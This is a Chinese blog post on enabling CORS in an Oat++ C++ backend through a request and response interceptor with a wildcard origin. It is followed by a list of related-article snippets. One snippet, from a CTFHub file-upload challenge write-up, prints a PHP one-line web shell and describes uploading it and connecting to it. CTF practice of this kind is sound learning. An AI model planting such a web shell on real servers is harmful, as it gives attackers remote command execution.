Oat++ 后端实现跨域

server/2024/9/22 22:20:44/

这里记录在官方的例子中,加入跨域Oat++ Example-CRUD
在这里插入图片描述
在官方的例子中,加入跨域
Oat++ Example-CRUD
在这里插入图片描述
修改AppComponent.hpp文件中的代码,如下:

#include "AppComponent.hpp"#include "controller/UserController.hpp"
#include "controller/StaticController.hpp"#include "oatpp-swagger/Controller.hpp"#include "oatpp/network/Server.hpp"
#include "oatpp/web/server/interceptor/RequestInterceptor.hpp"
#include "oatpp/web/server/interceptor/ResponseInterceptor.hpp"
#include "oatpp/web/protocol/http/outgoing/ResponseFactory.hpp"#include <iostream>class CORSInterceptor : public oatpp::web::server::interceptor::RequestInterceptor, public oatpp::web::server::interceptor::ResponseInterceptor {
public:std::shared_ptr<oatpp::web::protocol::http::outgoing::Response> intercept(const std::shared_ptr<oatpp::web::protocol::http::incoming::Request>& request) override {if (request->getStartingLine().method == "OPTIONS") {auto response = oatpp::web::protocol::http::outgoing::ResponseFactory::createResponse(oatpp::web::protocol::http::Status::CODE_200, nullptr);/*   response->putHeader("Access-Control-Allow-Origin", "*");*//*  response->putHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");response->putHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");*///response->putHeader("Access-Control-Max-Age", "3600"); // Cache preflight responsereturn response;}return nullptr;}std::shared_ptr<oatpp::web::protocol::http::outgoing::Response> intercept(const std::shared_ptr<oatpp::web::protocol::http::incoming::Request>& request, const std::shared_ptr<oatpp::web::protocol::http::outgoing::Response>& response) override {response->putHeader("Access-Control-Allow-Origin", "*");response->putHeader("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS");response->putHeader("Access-Control-Allow-Headers", "Content-Type, Authorization");return response;}
};void run() {AppComponent components; // Create scope Environment components/* Get router component */OATPP_COMPONENT(std::shared_ptr<oatpp::web::server::HttpRouter>, router);/* Get connection handler component */OATPP_COMPONENT(std::shared_ptr<oatpp::network::ConnectionHandler>, connectionHandler);/* Create a CORSInterceptor instance */auto corsInterceptor = std::make_shared<CORSInterceptor>();/* Add CORSInterceptor to the connection handler */auto httpConnectionHandler = std::static_pointer_cast<oatpp::web::server::HttpConnectionHandler>(connectionHandler);httpConnectionHandler->addRequestInterceptor(corsInterceptor);httpConnectionHandler->addResponseInterceptor(corsInterceptor);oatpp::web::server::api::Endpoints docEndpoints;docEndpoints.append(router->addController(UserController::createShared())->getEndpoints());router->addController(oatpp::swagger::Controller::createShared(docEndpoints));router->addController(StaticController::createShared());/* Get connection provider component */OATPP_COMPONENT(std::shared_ptr<oatpp::network::ServerConnectionProvider>, connectionProvider);/* create server */oatpp::network::Server server(connectionProvider, connectionHandler);OATPP_LOGD("Server", "Running on port %s...", connectionProvider->getProperty("port").toString()->c_str());server.run();/* stop db connection pool */OATPP_COMPONENT(std::shared_ptr<oatpp::provider::Provider<oatpp::sqlite::Connection>>, dbConnectionProvider);dbConnectionProvider->stop();}/***  main*/
int main(int argc, const char* argv[]) {oatpp::base::Environment::init();run();/* Print how much objects were created during app running, and what have left-probably leaked *//* Disable object counting for release builds using '-D OATPP_DISABLE_ENV_OBJECT_COUNTERS' flag for better performance */std::cout << "\nEnvironment:\n";std::cout << "objectsCount = " << oatpp::base::Environment::getObjectsCount() << "\n";std::cout << "objectsCreated = " << oatpp::base::Environment::getObjectsCreated() << "\n\n";oatpp::base::Environment::destroy();return 0;
}



http://www.ppmy.cn/server/93709.html

相关文章

详细分析Flask中的蓝图Blueprint(附Demo)

目录 前言1. 基本知识2. Demo 前言 对于Java的基本知识推荐阅读&#xff1a; java框架 零基础从入门到精通的学习路线 附开源项目面经等&#xff08;超全&#xff09;【Java项目】实战CRUD的功能整理&#xff08;持续更新&#xff09; 1. 基本知识 蓝图&#xff08;Bluepri…

CTFHUB-文件上传-无验证

开启题目 1.php 一句话木马内容&#xff1a; <?php eval($_POST[cmd]);?> 上传一句话木马&#xff0c;发现上传成功 蚁剑连接 http://challenge-8b27d18368ecc25c.sandbox.ctfhub.com:10800/upload/1.php 在 “/var/www/html/flag_1791214435.php”发现了 flag

Spring Cloud中怎么使用Resilience4j Retry对OpenFeign进行重试

在微服务架构中&#xff0c;服务之间的通信是非常频繁的。而使用OpenFeign可以极大简化微服务之间的HTTP通信。但在复杂的分布式系统中&#xff0c;服务之间的调用可能会因为网络问题、服务故障等原因而失败。因此&#xff0c;实现服务调用的重试机制显得尤为重要。Resilience4…

深度学习:转置卷积

什么是转置卷积&#xff08;Transposed Convolution&#xff09; 转置卷积&#xff0c;又称反卷积&#xff08;Deconvolution&#xff09;或上采样卷积&#xff08;Upsampling Convolution&#xff09;&#xff0c;是一种卷积操作&#xff0c;通常用于生成式模型或图像处理任务…

YOLO:训练自己的样本数据集进行目标检测

作者&#xff1a;CSDN _养乐多_ 本文将介绍如何使用python语言和 ultralytics 库训练自己的数据集&#xff0c;并进行 YOLO 目标检测模型训练和推理的代码。 文章目录 一、样本数据集准备1.1 标注工具1.2 数据集格式1.2.1 图片和标签数据集制作1.2.2 data.yaml制作 二、模型训…

WPF Datagrid控件,获取某一个单元格中的控件

在WPF应用程序中&#xff0c;比如需要获取特定 DataGrid 单元格中的 TextBlock 控件&#xff0c;可以通过访问 DataGridRow 和 DataGridCell 对象。以下是一个例子&#xff0c;展示如何获取 DataGrid 的第二行第一列中的 TextBlock 控件&#xff0c;并修改其属性。 1. 在XAML中…

编程入门:大学新生的指南与策略

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

LLM多智能体AutoGen教程 7: 什么你还在自己查阅论文?

最近需要优化人脸姿态评估模型&#xff0c;往常我需要调研当前业界最新论文&#xff0c;在arxiv上查阅论文&#xff0c;然后到上查看相关算法benchmark上的排名&#xff0c;最后选定论文和模型。今天再deeplearning.ai的课程上看到使用AutoGen自动获取NVIDIA最近一年的股价并撰…